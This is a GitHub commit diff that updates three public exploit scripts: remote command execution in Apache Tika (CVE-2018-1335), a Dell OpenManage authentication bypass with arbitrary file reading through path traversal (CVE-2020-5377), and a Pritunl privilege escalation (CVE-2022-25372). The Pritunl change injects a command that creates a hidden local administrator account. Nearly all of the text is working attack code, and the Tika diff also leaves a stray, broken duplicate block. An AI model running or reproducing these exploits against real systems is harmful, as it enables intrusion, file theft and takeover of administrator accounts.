Skip to content

Commit 79d86af

Browse files
authored
Merge pull request #8 from TeneBrae93/master
Update CVE-2018-1335, CVE-2022-25372, and CVE-2020-5377
2 parents b3f9d85 + 9d52616 commit 79d86af

File tree

3 files changed

+120
-107
lines changed

3 files changed

+120
-107
lines changed

CVE-2018-1335/CVE-2018-1335.py

Lines changed: 24 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -10,29 +10,34 @@
1010
import requests
1111

1212
if len(sys.argv) < 4:
13-
print "Usage: python CVE-2018-1335.py <host> <port> <command>"
14-
print "Example: python CVE-2018-1335.py localhost 9998 calc.exe"
13+
print("Usage: python CVE-2018-1335.py <host> <port> <command>")
14+
print("Example: python CVE-2018-1335.py localhost 9998 calc.exe")
1515
else:
16-
host = sys.argv[1]
17-
port = sys.argv[2]
18-
cmd = sys.argv[3]
16+
host = sys.argv[1]
17+
port = sys.argv[2]
18+
cmd = sys.argv[3]
1919

20-
url = host+":"+str(port)+"/meta"
20+
url = f"{host}:{port}/meta"
2121

22-
headers = {"X-Tika-OCRTesseractPath": "\"cscript\"",
23-
"X-Tika-OCRLanguage": "//E:Jscript",
24-
"Expect": "100-continue",
25-
"Content-type": "image/jp2",
26-
"Connection": "close"}
22+
headers = {
23+
"X-Tika-OCRTesseractPath": "\"cscript\"",
24+
"X-Tika-OCRLanguage": "//E:Jscript",
25+
"Expect": "100-continue",
26+
"Content-type": "image/jp2",
27+
"Connection": "close"
28+
}
29+
jscript = '''
30+
var oShell = WScript.CreateObject("WScript.Shell");
31+
var oExec = oShell.Exec('cmd /c {}');
32+
'''.format(cmd)
2733

28-
jscript='''var oShell = WScript.CreateObject("WScript.Shell");
29-
var oExec = oShell.Exec('cmd /c {}');
30-
'''.format(cmd)
31-
32-
try:
33-
requests.put("https://"+url, headers=headers, data=jscript, verify=False)
34-
35-
except:
34+
try:
35+
requests.put(f"https://{url}", headers=headers, data=jscript, verify=False)
36+
except:
37+
try:
38+
requests.put(f"http://{url}", headers=headers, data=jscript)
39+
except:
40+
print("Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>")
3641
try:
3742
requests.put("http://"+url, headers=headers, data=jscript)
3843
except:

CVE-2020-5377_CVE-2021-21514/CVE-2020-5377.py

Lines changed: 95 additions & 87 deletions
Original file line numberDiff line numberDiff line change
@@ -5,108 +5,116 @@
55
# https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability
66

77
from xml.sax.saxutils import escape
8-
import BaseHTTPServer
9-
import requests
10-
import thread
8+
import http.server
119
import ssl
1210
import sys
1311
import re
1412
import os
13+
import requests
14+
import _thread
1515

1616
import urllib3
1717
urllib3.disable_warnings()
1818

1919
if len(sys.argv) < 3:
20-
print 'Usage python auth_bypass.py <yourIP> <targetIP>:<targetPort>'
21-
exit()
22-
23-
#This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909
24-
#Also check out https://github.com/hantwister/FakeDellOM
25-
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
26-
def do_POST(s):
27-
data = ''
28-
content_len = int(s.headers.getheader('content-length', 0))
29-
post_body = s.rfile.read(content_len)
30-
s.send_response(200)
31-
s.send_header("Content-type", "application/soap+xml;charset=UTF-8")
32-
s.end_headers()
33-
if "__00omacmd=getuserrightsonly" in post_body:
34-
data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>")
35-
if "__00omacmd=getaboutinfo " in post_body:
36-
data = escape("<ProductVersion>6.0.3</ProductVersion>")
37-
if data:
38-
requid = re.findall('>uuid:(.*?)<',post_body)[0]
39-
s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?>
40-
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:n1="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule">
41-
<s:Header>
42-
<wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
43-
<wsa:RelatesTo>uuid:'''+requid+'''</wsa:RelatesTo>
44-
<wsa:MessageID>0d70cce2-05b9-45bb-b219-4fb81efba639</wsa:MessageID>
45-
</s:Header>
46-
<s:Body>
47-
<n1:SendCmd_OUTPUT>
48-
<n1:ResultCode>0</n1:ResultCode>
49-
<n1:ReturnValue>'''+data+'''</n1:ReturnValue>
50-
</n1:SendCmd_OUTPUT>
51-
</s:Body>
52-
</s:Envelope>''')
53-
54-
else:
55-
s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''')
56-
57-
def log_message(self, format, *args):
58-
return
59-
60-
createdCert = False
20+
print('Usage: python CVE-2020-5377.py <yourIP> <targetIP>:<targetPort>')
21+
exit()
22+
23+
# This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909
24+
# Also check out https://github.com/hantwister/FakeDellOM
25+
class MyHandler(http.server.BaseHTTPRequestHandler):
26+
def do_POST(self):
27+
data = b''
28+
content_len = int(self.headers.get('content-length', 0))
29+
post_body = self.rfile.read(content_len)
30+
self.send_response(200)
31+
self.send_header("Content-type", "application/soap+xml;charset=UTF-8")
32+
self.end_headers()
33+
if b"__00omacmd=getuserrightsonly" in post_body:
34+
data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>").encode('utf-8')
35+
if b"__00omacmd=getaboutinfo " in post_body:
36+
data = escape("<ProductVersion>6.0.3</ProductVersion>").encode('utf-8')
37+
if data:
38+
requid = re.findall(b'>uuid:(.*?)<', post_body)[0]
39+
response = b'''<?xml version="1.0" encoding="UTF-8"?>
40+
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:n1="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule">
41+
<s:Header>
42+
<wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
43+
<wsa:RelatesTo>uuid:'''+requid+b'''</wsa:RelatesTo>
44+
<wsa:MessageID>0d70cce2-05b9-45bb-b219-4fb81efba639</wsa:MessageID>
45+
</s:Header>
46+
<s:Body>
47+
<n1:SendCmd_OUTPUT>
48+
<n1:ResultCode>0</n1:ResultCode>
49+
<n1:ReturnValue>'''+data+b'''</n1:ReturnValue>
50+
</n1:SendCmd_OUTPUT>
51+
</s:Body>
52+
</s:Envelope>'''
53+
self.wfile.write(response)
54+
55+
else:
56+
self.wfile.write(b'''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Dell Inc.</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''')
57+
58+
def log_message(self, format, *args):
59+
return
60+
61+
created_cert = False
6162
if not os.path.isfile('./server.pem'):
62-
print '[-] No server.pem certifcate file found. Generating one...'
63-
os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"')
64-
createdCert = True
63+
print('[-] No server.pem certificate file found. Generating one...')
64+
os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"')
65+
created_cert = True
6566

66-
def startServer():
67-
server_class = BaseHTTPServer.HTTPServer
68-
httpd = httpd = server_class(('0.0.0.0', 443), MyHandler)
69-
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
70-
httpd.serve_forever()
67+
def start_server():
68+
server_class = http.server.HTTPServer
69+
httpd = server_class(('0.0.0.0', 443), MyHandler)
70+
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
71+
context.load_cert_chain(certfile='./server.pem')
72+
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
73+
httpd.serve_forever()
7174

72-
thread.start_new_thread(startServer,())
75+
_thread.start_new_thread(start_server, ())
7376

74-
myIP = sys.argv[1]
77+
my_ip = sys.argv[1]
7578
target = sys.argv[2]
7679

77-
def bypassAuth():
78-
values = {}
79-
url = "https://{}/LoginServlet?flag=true&managedws=false".format(target)
80-
data = {"manuallogin": "true", "targetmachine": myIP, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1"}
81-
r = requests.post(url, data=data, verify=False, allow_redirects=False)
82-
cookieheader = r.headers['Set-Cookie']
83-
sessionid = re.findall('JSESSIONID=(.*?);',cookieheader)
84-
pathid = re.findall('Path=/(.*?);',cookieheader)
85-
values['sessionid'] = sessionid[0]
86-
values['pathid'] = pathid[0]
87-
return values
88-
89-
ids = bypassAuth()
90-
sessionid = ids['sessionid']
91-
pathid = ids['pathid']
92-
93-
print "Session: "+sessionid
94-
print "VID: "+pathid
95-
96-
def readFile(target,sessid,pathid):
80+
def bypass_auth():
81+
values = {}
82+
url = "https://{}/LoginServlet?flag=true&managedws=false".format(target)
83+
data = {"manuallogin": "true", "targetmachine": my_ip, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1"}
84+
r = requests.post(url, data=data, verify=False, allow_redirects=False)
85+
cookie_header = r.headers['Set-Cookie']
86+
session_id = re.findall('JSESSIONID=(.*?);', cookie_header)
87+
path_id = re.findall('Path=/(.*?);', cookie_header)
88+
values['sessionid'] = session_id[0]
89+
values['pathid'] = path_id[0]
90+
return values
91+
92+
ids = bypass_auth()
93+
session_id = ids['sessionid']
94+
path_id = ids['pathid']
95+
96+
print("Session: " + session_id)
97+
print("VID: " + path_id)
98+
99+
def read_file(target, sess_id, path_id):
97100
while True:
98-
file = raw_input('file > ')
99-
url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target,pathid,pathid,file)
100-
cookies = {"JSESSIONID": sessid}
101-
r = requests.get(url, cookies=cookies, verify=False)
102-
print 'Reading contents of {}:\n{}'.format(file,r.content)
103-
104-
def getPath(path):
105-
if path.lower().startswith('c:\\'):
106-
path = path[2:]
107-
path = path.replace('\\','/')
108-
return path
109-
110-
readFile(target,sessionid,pathid)
101+
file = input('file > ')
102+
url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target, path_id, path_id, file)
103+
s = requests.Session()
104+
cookies = {"JSESSIONID": sess_id}
105+
req = requests.Request(method='GET', url=url, cookies=cookies)
106+
prep = req.prepare()
107+
prep.url = "https://{}/{}/DownloadServle%74?help=Certificate&app=oma&vid={}&file={}".format(target, path_id, path_id, file)
108+
r = s.send(prep, verify=False)
109+
print('Reading contents of {}:\n{}'.format(file, r.content.decode('utf-8')))
110+
111+
def get_path(path):
112+
if path.lower().startswith('c:\\'):
113+
path = path[2:]
114+
path = path.replace('\\','/')
115+
return path
116+
117+
read_file(target, session_id, path_id)
118+
111119

112120

CVE-2022-25372/CVE-2022-25372.ps1

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
11
$profile_id = ((Select-String '{"name":"privesc"' $env:APPDATA\pritunl\profiles\*).filename).split('.')[0];
2-
while (1){"client`ntls-client`ndev TUN`nlog `"C:\\Program Files (x86)\\Pritunl\\ipconfig.bat`"`nauth-user-pass`nca `"INJECTED CONTENT`"" | Add-Content "C:\ProgramData\Pritunl\$profile_id"}
2+
while (1){"client`ntls-client`ndev TUN`nlog `"C:\\Program Files (x86)\\Pritunl\\ipconfig.bat`"`nauth-user-pass`nca `"& net user test SecurePassword123 /add /expires:never /passwordchg:no && net localgroup administrators test /add &`"" | Add-Content "C:\ProgramData\Pritunl\$profile_id"}

0 commit comments

Comments
 (0)